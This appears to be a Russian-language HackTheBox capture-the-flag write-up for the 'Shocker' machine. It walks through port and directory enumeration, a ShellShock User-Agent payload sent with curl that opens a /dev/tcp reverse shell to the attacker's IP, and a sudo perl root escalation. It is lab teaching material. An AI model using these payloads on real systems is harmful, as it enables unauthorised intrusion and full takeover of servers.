> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Запись HackTheBox Shocker

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Навыки:**

* Атака ShellShock (User-Agent)
* Злоупотребление привилегией Sudoers (Perl)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/40f3a5a0c13911b22e58d9a33ec0f3583103d821" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/565c5ea4bee5c4315a30e0c4df79861b95db4e9f" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="/files/2593f6b38ab8329206834141642ada48e92db935" alt="" width="563"><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (80.2222)

<figure><img src="/files/baea360c6500ea8eef6344b44cf73873e52f76d4" alt="" width="563"><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="/files/e3cd19a5ef7c7ade4c979856895c100928e8e750" alt=""><figcaption></figcaption></figure>

### Порт 80 - HTTP

<figure><img src="/files/5513ce69f60486ca3a07d97960889e8cf4c637cf" alt=""><figcaption></figcaption></figure>

#### Перечисление директорий

Мы используем **WFuzz** чтобы определить доступные директории:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="/files/ff740de724c0895234af68d12f36b6674d8ef740" alt=""><figcaption></figcaption></figure>

Это выявляет **cgi-bin** директорию, часто связанную с эксплуатируемыми скриптами.

## Уязвимость ShellShock

#### Поиск эксплуатируемых файлов

Мы отфильтровываем файлы с расширениями вроде `.sh`, `.pl`или `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

У **user.sh** файл обнаружен. Этот скрипт выглядит динамическим и может быть уязвим.

<figure><img src="/files/4aa15b88829ff605af1471e4329582439d7f4515" alt=""><figcaption></figcaption></figure>

#### Обнаружение уязвимости

Для проверки уязвимости мы используем следующий скрипт Nmap:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

Сканирование подтверждает, что **user.sh** файл уязвим к ShellShock.

<figure><img src="/files/62486662d5dbea6a5f76ec48a9c820f46c9be399" alt=""><figcaption></figcaption></figure>

#### Выполнение заказа

Чтобы проверить выполнение команд, мы используем **curl** с вредоносным User-Agent:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Это возвращает текущее имя пользователя.

<figure><img src="/files/0ca692a81bceaa09a7e02b383e4e5bf653f61acf" alt=""><figcaption></figcaption></figure>

#### Обратная оболочка

Чтобы получить обратную оболочку:

1. Слушайте на порту 443:

```bash
nc -nlvp 443
```

2. Вставьте следующий полезную нагрузку:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="/files/71a21bf59b2385e380e37ce18e5fd20d214e0638" alt=""><figcaption></figcaption></figure></div>

### Флаг user.txt :)

<figure><img src="/files/41e850d730c03757560b401dd220ba784679e3d1" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### Sudoers - Perl

При анализе **Sudoers** прав мы замечаем, что у пользователя есть разрешение выполнять `perl` как **root**. Это можно проверить следующей командой:

```bash
sudo -l 
```

<figure><img src="/files/38b5c622f715ab9059fa8c202c700c2a0a138a2b" alt=""><figcaption></figcaption></figure>

#### Эксплуатация

Чтобы использовать эту конфигурацию и получить оболочку с привилегиями root, просто вставьте следующую команду:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/6afcb0ca8f1af896af2f08be801b8755322fa33a" alt="" width="563"><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/93d19c625b417a5ffb527359fa921cbc679beb2b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3700355104ffa5a9a4195ef4bf1d9b6bef8455d1" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
